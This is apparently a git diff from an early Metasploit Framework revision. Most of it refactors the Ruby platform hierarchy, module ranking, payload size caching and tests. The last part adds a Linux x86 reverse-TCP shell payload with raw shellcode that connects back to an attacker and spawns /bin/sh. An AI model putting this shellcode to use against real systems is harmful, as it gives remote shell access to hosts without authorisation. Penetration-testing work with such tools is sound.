# No children to speak of?
|
||||||
|
return if (children.length == 0)
|
||||||
|
|
||||||
if poss.empty?
|
# Build the list of names & rankings
|
||||||
raise ArgumentError, "No classes in #{base.to_s}!", caller
|
names = {}
|
||||||
end
|
ranked = {}
|
||||||
|
|
||||||
best = nil
|
children.map { |c|
|
||||||
bestlen = 0
|
name = c.name.split('::')[-1].downcase
|
||||||
|
|
||||||
poss.each { |c|
|
# If the platform has an alias, such as a portion that may
|
||||||
# Try to get the short "nick" name, aka win vs Windows.
|
# start with an integer, use that as the name
|
||||||
# If there is no shortname, generate one and cache it.
|
if (c.const_defined?('Alias'))
|
||||||
# Generation is atmost the first 3 chars downcased..
|
als = c.const_get('Alias').downcase
|
||||||
|
|
||||||
begin
|
names[als] = c
|
||||||
short = c.const_get("Short")
|
ranked[als] = c::Rank
|
||||||
# it was inherited...
|
# If the platform has more than one alias, process the list
|
||||||
if short == c.superclass.const_get("Short")
|
elsif (c.const_defined?('Aliases'))
|
||||||
raise NameError
|
c.const_get('Aliases').each { |a|
|
||||||
end
|
a = a.downcase
|
||||||
rescue NameError
|
|
||||||
short = c.const_set("Short", c.name.split('::')[-1][0, 3].downcase)
|
names[a] = c
|
||||||
|
ranked[a] = c::Rank
|
||||||
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
if short.length > bestlen && name[0, short.length] == short
|
names[name] = c
|
||||||
best = [ c, name[short.length .. -1] ]
|
ranked[name] = c::Rank
|
||||||
bestlen = short.length
|
}
|
||||||
|
|
||||||
|
# Calculate their abbreviations
|
||||||
|
abbrev = ::Abbrev::abbrev(names.keys)
|
||||||
|
|
||||||
|
# Set the ranked list and abbreviated list on this module,
|
||||||
|
# then walk the children
|
||||||
|
mod.const_set('Abbrev', abbrev)
|
||||||
|
mod.const_set('Ranks', ranked)
|
||||||
|
mod.const_set('Names', names)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Finds the module that best matches the supplied string (or a portion of
|
||||||
|
# the string)
|
||||||
|
#
|
||||||
|
def self.find_portion(mod, str)
|
||||||
|
# Check to see if we've built the abbreviated cache
|
||||||
|
if (mod.const_defined?('Abbrev') == false)
|
||||||
|
build_child_platform_abbrev(mod)
|
||||||
|
end
|
||||||
|
|
||||||
|
abbrev = mod.const_get('Abbrev')
|
||||||
|
names = mod.const_get('Names')
|
||||||
|
ranks = mod.const_get('Ranks')
|
||||||
|
best = nil
|
||||||
|
bestlen = 0
|
||||||
|
bestmat = nil
|
||||||
|
bestrank = 0
|
||||||
|
|
||||||
|
# Walk through each abbreviation
|
||||||
|
abbrev.each { |a|
|
||||||
|
# If the abbreviation is too long, no sense in scanning it
|
||||||
|
next if (a[0].length > str.length)
|
||||||
|
|
||||||
|
# If the current abbreviation matches with the
|
||||||
|
# supplied string and is better than the previous
|
||||||
|
# best match length, use it, but only if it also
|
||||||
|
# has a higher rank than the previous match.
|
||||||
|
if ((a[0] == str[0, a[0].length]) and
|
||||||
|
(a[0].length > bestlen) and
|
||||||
|
(bestrank == nil or bestrank <= ranks[a[1]]))
|
||||||
|
best = [ names[a[1]], str[a[0].length .. -1] ]
|
||||||
|
bestlen = a[0].length
|
||||||
|
bestmat = a[0]
|
||||||
|
bestrank = ranks[a[1]]
|
||||||
end
|
end
|
||||||
}
|
}
|
||||||
|
|
||||||
if !best
|
# If we couldn't find a best match at this stage, it's time to warn.
|
||||||
# ok, no match, fall back on first ranked
|
if (best == nil)
|
||||||
best = [ poss[0], name ]
|
raise ArgumentError, "No classes in #{mod.to_s} for #{str}!", caller
|
||||||
end
|
end
|
||||||
|
|
||||||
return best
|
return best
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
private_class_method :build_child_platform_abbrev
|
||||||
|
private_class_method :find_portion
|
||||||
|
|
||||||
class Windows < Msf::Module::Platform
|
class Windows < Msf::Module::Platform
|
||||||
Rank = 100
|
Rank = 100
|
||||||
class X86 < Windows
|
# Windows 95
|
||||||
Rank = 100
|
class W95 < Windows
|
||||||
class XP < X86
|
Rank = 100
|
||||||
Rank = 300
|
Alias = "95"
|
||||||
class SP0 < XP
|
RealName = "95"
|
||||||
Rank = 100
|
end
|
||||||
end
|
|
||||||
class SP1 < XP
|
# Windows 98
|
||||||
Rank = 200
|
class W98 < Windows
|
||||||
end
|
Rank = 100
|
||||||
class SP2 < XP
|
Alias = "98"
|
||||||
Rank = 300
|
RealName = "98"
|
||||||
end
|
class FE < W98
|
||||||
|
Rank = 100
|
||||||
|
end
|
||||||
|
class SE < W98
|
||||||
|
Rank = 200
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Windows ME
|
||||||
|
class ME < Windows
|
||||||
|
Rank = 100
|
||||||
|
end
|
||||||
|
|
||||||
|
# Windows NT
|
||||||
|
class NT < Windows
|
||||||
|
Rank = 100
|
||||||
|
class SP0 < NT
|
||||||
|
Rank = 100
|
||||||
|
end
|
||||||
|
class SP1 < NT
|
||||||
|
Rank = 200
|
||||||
|
end
|
||||||
|
class SP2 < NT
|
||||||
|
Rank = 300
|
||||||
|
end
|
||||||
|
class SP3 < NT
|
||||||
|
Rank = 400
|
||||||
|
end
|
||||||
|
class SP4 < NT
|
||||||
|
Rank = 500
|
||||||
|
end
|
||||||
|
class SP5 < NT
|
||||||
|
Rank = 600
|
||||||
|
end
|
||||||
|
class SP6 < NT
|
||||||
|
Rank = 700
|
||||||
|
end
|
||||||
|
class SP6a < NT
|
||||||
|
Rank = 800
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Windows 2000
|
||||||
|
class W2000 < Windows
|
||||||
|
Rank = 200
|
||||||
|
Aliases = [ "2000", "2K" ]
|
||||||
|
RealName = "2000"
|
||||||
|
class SP0 < W2000
|
||||||
|
Rank = 100
|
||||||
|
end
|
||||||
|
class SP1 < W2000
|
||||||
|
Rank = 200
|
||||||
|
end
|
||||||
|
class SP2 < W2000
|
||||||
|
Rank = 300
|
||||||
|
end
|
||||||
|
class SP3 < W2000
|
||||||
|
Rank = 400
|
||||||
|
end
|
||||||
|
class SP4 < W2000
|
||||||
|
Rank = 500
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Windows XP
|
||||||
|
class XP < Windows
|
||||||
|
Rank = 300
|
||||||
|
class SP0 < XP
|
||||||
|
Rank = 100
|
||||||
|
end
|
||||||
|
class SP1 < XP
|
||||||
|
Rank = 200
|
||||||
|
end
|
||||||
|
class SP2 < XP
|
||||||
|
Rank = 300
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Windows 2003 Server
|
||||||
|
class W2003 < Windows
|
||||||
|
Rank = 400
|
||||||
|
Aliases = [ "2003", "2003 Server", "2K3" ]
|
||||||
|
RealName = "2003"
|
||||||
|
class SP0 < W2003
|
||||||
|
Rank = 100
|
||||||
|
end
|
||||||
|
class SP1 < W2003
|
||||||
|
Rank = 200
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
|
class Linux < Msf::Module::Platform
|
||||||
|
Rank = 100
|
||||||
|
Alias = "lnx"
|
||||||
|
end
|
||||||
|
|
||||||
|
class Solaris < Msf::Module::Platform
|
||||||
|
Rank = 100
|
||||||
|
end
|
||||||
|
|
||||||
|
class OSX < Msf::Module::Platform
|
||||||
|
Rank = 100
|
||||||
|
end
|
||||||
|
|
||||||
|
# Generic BSD
|
||||||
|
class BSD < Msf::Module::Platform
|
||||||
|
Rank = 100
|
||||||
|
end
|
||||||
|
|
||||||
|
class OpenBSD < Msf::Module::Platform
|
||||||
|
Rank = 100
|
||||||
|
end
|
||||||
|
|
||||||
|
class BSDi < Msf::Module::Platform
|
||||||
|
Rank = 100
|
||||||
|
end
|
||||||
|
|
||||||
|
class NetBSD < Msf::Module::Platform
|
||||||
|
Rank = 100
|
||||||
|
end
|
||||||
|
|
||||||
|
class FreeBSD < Msf::Module::Platform
|
||||||
|
Rank = 100
|
||||||
|
end
|
||||||
|
end
|
||||||
|
@ -58,13 +58,23 @@ class Msf::Module::PlatformList
|
|||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Checks to see if the platform list is empty.
|
||||||
|
#
|
||||||
def empty?
|
def empty?
|
||||||
return platforms.empty?
|
return platforms.empty?
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns an array of names contained within this platform list.
|
||||||
|
#
|
||||||
def names
|
def names
|
||||||
platforms.map { |m| m.name.split('::')[3 .. -1].join(' ') }
|
platforms.map { |m| m.realname }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Symbolic check to see if this platform list represents 'all' platforms.
|
||||||
|
#
|
||||||
def all?
|
def all?
|
||||||
names.each do |name|
|
names.each do |name|
|
||||||
return true if name == ''
|
return true if name == ''
|
||||||
@ -72,8 +82,10 @@ class Msf::Module::PlatformList
|
|||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
# Do I support plist (do I support all of they support?)
|
# Do I support plist (do I support all of they support?)
|
||||||
# use for matching say, an exploit and a payload
|
# use for matching say, an exploit and a payload
|
||||||
|
#
|
||||||
def supports?(plist)
|
def supports?(plist)
|
||||||
plist.platforms.each { |pl|
|
plist.platforms.each { |pl|
|
||||||
supported = false
|
supported = false
|
||||||
|
@ -10,19 +10,21 @@ class Msf::Module::PlatformList::UnitTest < Test::Unit::TestCase
|
|||||||
|
|
||||||
def test_range
|
def test_range
|
||||||
assert_equal(
|
assert_equal(
|
||||||
[ Msf::Module::Platform::Windows::X86::XP::SP0,
|
[ Msf::Module::Platform::Windows::XP::SP0,
|
||||||
Msf::Module::Platform::Windows::X86::XP::SP1
|
Msf::Module::Platform::Windows::XP::SP1
|
||||||
], Msf::Module::PlatformList.new('winxpsp0' .. 'winxpsp1').platforms
|
], Msf::Module::PlatformList.new('winxpsp0' .. 'winxpsp1').platforms
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
def test_names
|
def test_names
|
||||||
assert_equal([ 'Windows X86 XP SP2' ], Msf::Module::PlatformList.new('winxpsp2').names)
|
assert_equal([ 'Windows XP SP2' ], Msf::Module::PlatformList.new('winxpsp2').names)
|
||||||
end
|
end
|
||||||
|
|
||||||
def test_transform
|
def test_transform
|
||||||
assert_equal([ 'Windows X86 XP SP2' ], Msf::Module::PlatformList.transform('winxpsp2').names)
|
assert_equal([ 'Windows XP SP2' ], Msf::Module::PlatformList.transform('winxpsp2').names)
|
||||||
assert_equal([ 'Windows X86 XP SP2' ], Msf::Module::PlatformList.transform(['winxpsp2']).names)
|
assert_equal([ 'Windows XP SP2' ], Msf::Module::PlatformList.transform(['winxpsp2']).names)
|
||||||
|
assert_equal([ 'Windows 2000 SP3' ], Msf::Module::PlatformList.transform(['win2000sp3']).names)
|
||||||
|
assert_equal([ 'Windows 2000 SP3' ], Msf::Module::PlatformList.transform(['win2ksp3']).names)
|
||||||
end
|
end
|
||||||
|
|
||||||
def test_all
|
def test_all
|
||||||
@ -40,8 +42,8 @@ class Msf::Module::PlatformList::UnitTest < Test::Unit::TestCase
|
|||||||
l1 = Msf::Module::PlatformList.new('win')
|
l1 = Msf::Module::PlatformList.new('win')
|
||||||
l2 = Msf::Module::PlatformList.new('win xp sp0', 'win xp sp2')
|
l2 = Msf::Module::PlatformList.new('win xp sp0', 'win xp sp2')
|
||||||
assert_equal(
|
assert_equal(
|
||||||
[ Msf::Module::Platform::Windows::X86::XP::SP0,
|
[ Msf::Module::Platform::Windows::XP::SP0,
|
||||||
Msf::Module::Platform::Windows::X86::XP::SP2
|
Msf::Module::Platform::Windows::XP::SP2
|
||||||
], (l1 & l2).platforms
|
], (l1 & l2).platforms
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@ -13,6 +13,9 @@ module Msf
|
|||||||
#
|
#
|
||||||
###
|
###
|
||||||
class ModuleSet < Hash
|
class ModuleSet < Hash
|
||||||
|
|
||||||
|
include Framework::Offspring
|
||||||
|
|
||||||
def initialize(type = nil)
|
def initialize(type = nil)
|
||||||
self.module_type = type
|
self.module_type = type
|
||||||
|
|
||||||
@ -21,46 +24,27 @@ class ModuleSet < Hash
|
|||||||
self.mod_arch_hash = {}
|
self.mod_arch_hash = {}
|
||||||
self.mod_platform_hash = {}
|
self.mod_platform_hash = {}
|
||||||
self.mod_sorted = nil
|
self.mod_sorted = nil
|
||||||
|
self.mod_ranked = nil
|
||||||
end
|
end
|
||||||
|
|
||||||
# Create an instance of the supplied module by its name
|
# Create an instance of the supplied module by its name
|
||||||
def create(name)
|
def create(name)
|
||||||
klass = self[name]
|
klass = self[name]
|
||||||
|
|
||||||
return (klass) ? klass.new : nil
|
return (klass) ? klass.new : nil
|
||||||
end
|
end
|
||||||
|
|
||||||
# Enumerates each module class in the set
|
# Enumerates each module class in the set
|
||||||
def each_module(opts = {}, &block)
|
def each_module(opts = {}, &block)
|
||||||
# Re-sort if the cached copy is out of date
|
|
||||||
mod_sorted = self.sort if (mod_sorted == nil)
|
mod_sorted = self.sort if (mod_sorted == nil)
|
||||||
|
|
||||||
|
each_module_list(mod_sorted, opts, &block)
|
||||||
|
end
|
||||||
|
|
||||||
mod_sorted.each { |entry|
|
def each_module_ranked(opts = {}, &block)
|
||||||
name, mod = entry
|
mod_ranked = rank_modules if (mod_ranked == nil)
|
||||||
|
|
||||||
# Filter out incompatible architectures
|
each_module_list(mod_ranked, opts, &block)
|
||||||
if (opts['arch'])
|
|
||||||
if (!mod_arch_hash[mod])
|
|
||||||
mod_arch_hash[mod] = mod.new.arch
|
|
||||||
end
|
|
||||||
|
|
||||||
next if (mod_arch_hash[mod].include?(opts['arch']) == false)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Filter out incompatible platforms
|
|
||||||
if (opts['platform'])
|
|
||||||
if (!mod_platform_hash[mod])
|
|
||||||
mod_platform_hash[mod] = mod.new.platform
|
|
||||||
end
|
|
||||||
|
|
||||||
next if (mod_platform_hash[mod].include?(opts['platform']) == false)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Custom filtering
|
|
||||||
next if (each_module_filter(opts, name, entry) == true)
|
|
||||||
|
|
||||||
block.call(name, mod)
|
|
||||||
}
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
@ -81,21 +65,87 @@ class ModuleSet < Hash
|
|||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
|
#
|
||||||
|
# Enumerates the modules in the supplied array with possible limiting
|
||||||
|
# factors.
|
||||||
|
#
|
||||||
|
def each_module_list(ary, opts, &block)
|
||||||
|
ary.each { |entry|
|
||||||
|
name, mod = entry
|
||||||
|
|
||||||
|
# Filter out incompatible architectures
|
||||||
|
if (opts['Arch'])
|
||||||
|
if (!mod_arch_hash[mod])
|
||||||
|
mod_arch_hash[mod] = mod.new.arch
|
||||||
|
end
|
||||||
|
|
||||||
|
next if ((mod_arch_hash[mod] & opts['Arch']).empty? == true)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Filter out incompatible platforms
|
||||||
|
if (opts['Platform'])
|
||||||
|
if (!mod_platform_hash[mod])
|
||||||
|
mod_platform_hash[mod] = mod.new.platform
|
||||||
|
end
|
||||||
|
|
||||||
|
next if ((mod_platform_hash[mod] & opts['Platform']).empty? == true)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Custom filtering
|
||||||
|
next if (each_module_filter(opts, name, entry) == true)
|
||||||
|
|
||||||
|
block.call(name, mod)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Ranks modules based on their constant rank value, if they have one.
|
||||||
|
#
|
||||||
|
def rank_modules
|
||||||
|
mod_ranked = self.sort { |a, b|
|
||||||
|
a_name, a_mod = a
|
||||||
|
b_name, b_mod = b
|
||||||
|
|
||||||
|
# Extract the ranking between the two modules
|
||||||
|
a_rank = a.const_defined?('Rank') ? a.const_get('Rank') : NormalRanking
|
||||||
|
b_rank = b.const_defined?('Rank') ? b.const_get('Rank') : NormalRanking
|
||||||
|
|
||||||
|
# Compare their relevant rankings. Since we want highest to lowest,
|
||||||
|
# we compare b_rank to a_rank in terms of higher/lower precedence
|
||||||
|
b_rank <=> a_rank
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
# Adds a module with a the supplied name
|
# Adds a module with a the supplied name
|
||||||
|
#
|
||||||
def add_module(module_class, name)
|
def add_module(module_class, name)
|
||||||
|
# Duplicate the module class so that we can operate on a
|
||||||
|
# framework-specific copy of it.
|
||||||
|
dup = module_class.dup
|
||||||
|
|
||||||
# Set the module's name so that it can be referenced when
|
# Set the module's name so that it can be referenced when
|
||||||
# instances are created.
|
# instances are created.
|
||||||
module_class.refname = name
|
dup.framework = framework
|
||||||
|
dup.refname = name
|
||||||
|
|
||||||
self[name] = module_class
|
self[name] = dup
|
||||||
|
|
||||||
# Invalidate the sorted array
|
# Invalidate the sorted array
|
||||||
|
invalidate_cache
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Invalidates the sorted and ranked module caches.
|
||||||
|
#
|
||||||
|
def invalidate_cache
|
||||||
mod_sorted = nil
|
mod_sorted = nil
|
||||||
|
mod_ranked = nil
|
||||||
end
|
end
|
||||||
|
|
||||||
attr_writer :module_type
|
attr_writer :module_type
|
||||||
attr_accessor :mod_arch_hash, :mod_platform_hash
|
attr_accessor :mod_arch_hash, :mod_platform_hash
|
||||||
attr_accessor :mod_sorted
|
attr_accessor :mod_sorted, :mod_ranked
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
@ -119,6 +169,8 @@ class ModuleManager < ModuleSet
|
|||||||
|
|
||||||
require 'msf/core/payload_set'
|
require 'msf/core/payload_set'
|
||||||
|
|
||||||
|
include Framework::Offspring
|
||||||
|
|
||||||
def initialize()
|
def initialize()
|
||||||
self.module_paths = []
|
self.module_paths = []
|
||||||
self.module_history = {}
|
self.module_history = {}
|
||||||
@ -134,6 +186,9 @@ class ModuleManager < ModuleSet
|
|||||||
end
|
end
|
||||||
|
|
||||||
self.module_sets[type] = instance
|
self.module_sets[type] = instance
|
||||||
|
|
||||||
|
# Set the module set's framework reference
|
||||||
|
instance.framework = self.framework
|
||||||
}
|
}
|
||||||
|
|
||||||
super
|
super
|
||||||
|
@ -20,27 +20,17 @@ class Payload < Msf::Module
|
|||||||
# Platform specific includes
|
# Platform specific includes
|
||||||
require 'msf/core/payload/windows'
|
require 'msf/core/payload/windows'
|
||||||
|
|
||||||
|
#
|
||||||
# Payload types
|
# Payload types
|
||||||
|
#
|
||||||
module Type
|
module Type
|
||||||
Single = (1 << 0)
|
Single = (1 << 0)
|
||||||
Stager = (1 << 1)
|
Stager = (1 << 1)
|
||||||
Stage = (1 << 2)
|
Stage = (1 << 2)
|
||||||
end
|
end
|
||||||
|
|
||||||
class <<self
|
|
||||||
end
|
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super
|
||||||
|
|
||||||
# Initialize this payload as having an empty set of stagers
|
|
||||||
self.stagers = {}
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Indexes the stagers array
|
|
||||||
#
|
|
||||||
def [](key)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
@ -49,41 +39,55 @@ class Payload < Msf::Module
|
|||||||
#
|
#
|
||||||
##
|
##
|
||||||
|
|
||||||
|
#
|
||||||
# This module is a payload.
|
# This module is a payload.
|
||||||
|
#
|
||||||
def type
|
def type
|
||||||
return MODULE_PAYLOAD
|
return MODULE_PAYLOAD
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
# Returns the string of bad characters for this payload, if any.
|
# Returns the string of bad characters for this payload, if any.
|
||||||
|
#
|
||||||
def badchars
|
def badchars
|
||||||
return self.module_info['BadChars']
|
return self.module_info['BadChars']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
# Returns the type of payload, either single or staged. Stage is
|
# Returns the type of payload, either single or staged. Stage is
|
||||||
# the default because singles and stagers are encouraged to include
|
# the default because singles and stagers are encouraged to include
|
||||||
# the Single and Stager mixin which override the payload_type.
|
# the Single and Stager mixin which override the payload_type.
|
||||||
|
#
|
||||||
def payload_type
|
def payload_type
|
||||||
return Type::Stage
|
return Type::Stage
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
# Returns the payload's size. If the payload is staged, the size of the
|
# Returns the payload's size. If the payload is staged, the size of the
|
||||||
# first stage is returned.
|
# first stage is returned.
|
||||||
|
#
|
||||||
def size
|
def size
|
||||||
return (generate() || '').length
|
return (generate() || '').length
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
# Returns the raw payload that has not had variable substitution occur.
|
# Returns the raw payload that has not had variable substitution occur.
|
||||||
|
#
|
||||||
def payload
|
def payload
|
||||||
return module_info['Payload']['Payload']
|
return module_info['Payload']['Payload']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
# Returns the offsets to variables that must be substitute, if any.
|
# Returns the offsets to variables that must be substitute, if any.
|
||||||
|
#
|
||||||
def offsets
|
def offsets
|
||||||
return module_info['Payload']['Offsets']
|
return module_info['Payload']['Offsets']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
# Return the connection associated with this payload, or none if there
|
# Return the connection associated with this payload, or none if there
|
||||||
# isn't one.
|
# isn't one.
|
||||||
|
#
|
||||||
def handler
|
def handler
|
||||||
return module_info['Handler']
|
return module_info['Handler']
|
||||||
end
|
end
|
||||||
@ -94,7 +98,9 @@ class Payload < Msf::Module
|
|||||||
#
|
#
|
||||||
##
|
##
|
||||||
|
|
||||||
|
#
|
||||||
# Generates the payload and return the raw buffer
|
# Generates the payload and return the raw buffer
|
||||||
|
#
|
||||||
def generate
|
def generate
|
||||||
raw = payload
|
raw = payload
|
||||||
|
|
||||||
@ -107,10 +113,12 @@ class Payload < Msf::Module
|
|||||||
return raw
|
return raw
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
# Substitutes variables with values from the module's datastore in the
|
# Substitutes variables with values from the module's datastore in the
|
||||||
# supplied raw buffer for a given set of named offsets. For instance,
|
# supplied raw buffer for a given set of named offsets. For instance,
|
||||||
# RHOST is substituted with the RHOST value from the datastore which will
|
# RHOST is substituted with the RHOST value from the datastore which will
|
||||||
# have been populated by the framework.
|
# have been populated by the framework.
|
||||||
|
#
|
||||||
def substitute_vars(raw, offsets)
|
def substitute_vars(raw, offsets)
|
||||||
offsets.each_pair { |name, info|
|
offsets.each_pair { |name, info|
|
||||||
offset, pack = info
|
offset, pack = info
|
||||||
@ -139,21 +147,55 @@ class Payload < Msf::Module
|
|||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
# Replaces an individual variable in the supplied buffer at an offset
|
# Replaces an individual variable in the supplied buffer at an offset
|
||||||
# using the given pack type. This is here to allow derived payloads
|
# using the given pack type. This is here to allow derived payloads
|
||||||
# the opportunity to replace advanced variables.
|
# the opportunity to replace advanced variables.
|
||||||
|
#
|
||||||
def replace_var(raw, name, offset, pack)
|
def replace_var(raw, name, offset, pack)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# Shortcut methods for filtering compatible encoders
|
||||||
|
# and NOP sleds
|
||||||
|
#
|
||||||
|
##
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the array of compatible encoders for this payload instance.
|
||||||
|
#
|
||||||
|
def compatible_encoders
|
||||||
|
encoders = []
|
||||||
|
|
||||||
|
framework.encoders.each_module_ranked(
|
||||||
|
'Arch' => self.arch) { |entry|
|
||||||
|
encoders << entry[1]
|
||||||
|
}
|
||||||
|
|
||||||
|
return encoders
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the array of compatible nops for this payload instance.
|
||||||
|
#
|
||||||
|
def compatible_nops
|
||||||
|
nops = []
|
||||||
|
|
||||||
|
framework.nops.each_module_ranked(
|
||||||
|
'Arch' => self.arch) { |entry|
|
||||||
|
nops << entry[1]
|
||||||
|
}
|
||||||
|
|
||||||
|
return nops
|
||||||
|
end
|
||||||
|
|
||||||
# Payload prepending and appending for various situations
|
# Payload prepending and appending for various situations
|
||||||
attr_accessor :prepend, :append, :prepend_encoder
|
attr_accessor :prepend, :append, :prepend_encoder
|
||||||
attr_reader :stagers
|
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
attr_writer :stagers
|
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# Custom merge operations for payloads
|
# Custom merge operations for payloads
|
||||||
|
@ -47,6 +47,9 @@ class PayloadSet < ModuleSet
|
|||||||
# Singles will simply point to the single payload class.
|
# Singles will simply point to the single payload class.
|
||||||
self.stages = {}
|
self.stages = {}
|
||||||
self.singles = {}
|
self.singles = {}
|
||||||
|
|
||||||
|
# Hash that caches the sizes of payloads
|
||||||
|
self.sizes = {}
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
@ -81,6 +84,9 @@ class PayloadSet < ModuleSet
|
|||||||
|
|
||||||
# Add it to the set
|
# Add it to the set
|
||||||
add_single(p, name)
|
add_single(p, name)
|
||||||
|
|
||||||
|
# Cache the payload's size
|
||||||
|
sizes[name] = p.new.size
|
||||||
}
|
}
|
||||||
|
|
||||||
# Recalculate stagers and stages
|
# Recalculate stagers and stages
|
||||||
@ -126,6 +132,9 @@ class PayloadSet < ModuleSet
|
|||||||
|
|
||||||
# Add the stage
|
# Add the stage
|
||||||
add_stage(p, combined, stage_name, handler.handler_type)
|
add_stage(p, combined, stage_name, handler.handler_type)
|
||||||
|
|
||||||
|
# Cache the payload's size
|
||||||
|
sizes[combined] = p.new.size
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
@ -177,6 +186,8 @@ class PayloadSet < ModuleSet
|
|||||||
# Adds a single payload to the set and adds it to the singles hash
|
# Adds a single payload to the set and adds it to the singles hash
|
||||||
#
|
#
|
||||||
def add_single(p, name)
|
def add_single(p, name)
|
||||||
|
p.framework = framework
|
||||||
|
|
||||||
# Associate this class with the single payload's name
|
# Associate this class with the single payload's name
|
||||||
self[name] = p
|
self[name] = p
|
||||||
|
|
||||||
@ -194,6 +205,8 @@ class PayloadSet < ModuleSet
|
|||||||
# using the supplied handler type.
|
# using the supplied handler type.
|
||||||
#
|
#
|
||||||
def add_stage(p, full_name, stage_name, handler_type)
|
def add_stage(p, full_name, stage_name, handler_type)
|
||||||
|
p.framework = framework
|
||||||
|
|
||||||
# Associate this stage's full name with the payload class in the set
|
# Associate this stage's full name with the payload class in the set
|
||||||
self[full_name] = p
|
self[full_name] = p
|
||||||
|
|
||||||
@ -210,7 +223,7 @@ class PayloadSet < ModuleSet
|
|||||||
dlog("Built staged payload #{full_name}.", 'core', LEV_1)
|
dlog("Built staged payload #{full_name}.", 'core', LEV_1)
|
||||||
end
|
end
|
||||||
|
|
||||||
attr_reader :stages, :singles
|
attr_reader :stages, :singles, :sizes
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
@ -253,7 +266,7 @@ protected
|
|||||||
end
|
end
|
||||||
|
|
||||||
attr_accessor :manager, :payload_type_modules
|
attr_accessor :manager, :payload_type_modules
|
||||||
attr_writer :stages, :singles
|
attr_writer :stages, :singles, :sizes
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
42
modules/payloads/singles/linux/x86/shell_reverse_tcp.rb
Normal file
42
modules/payloads/singles/linux/x86/shell_reverse_tcp.rb
Normal file
@ -0,0 +1,42 @@
|
|||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Payloads
|
||||||
|
module Singles
|
||||||
|
module Linux
|
||||||
|
module Ia32
|
||||||
|
|
||||||
|
module Shell
|
||||||
|
|
||||||
|
include Msf::Payload::Single
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Linux Command Shell, Reverse TCP Inline',
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Description' => 'Connect back to attacker and spawn a command shell',
|
||||||
|
'Author' => 'skape',
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => ARCH_IA32,
|
||||||
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Offsets' =>
|
||||||
|
{
|
||||||
|
'LHOST' => [ 0x1a, 'ADDR' ],
|
||||||
|
'LPORT' => [ 0x20, 'n' ],
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59" +
|
||||||
|
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x7f\x00\x00\x01\x66\x68" +
|
||||||
|
"\xbf\xbf\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd" +
|
||||||
|
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" +
|
||||||
|
"\x89\xe1\xb0\x0b\xcd\x80"
|
||||||
|
}
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end end end end end
|
Loading…
Reference in New Issue
Block a user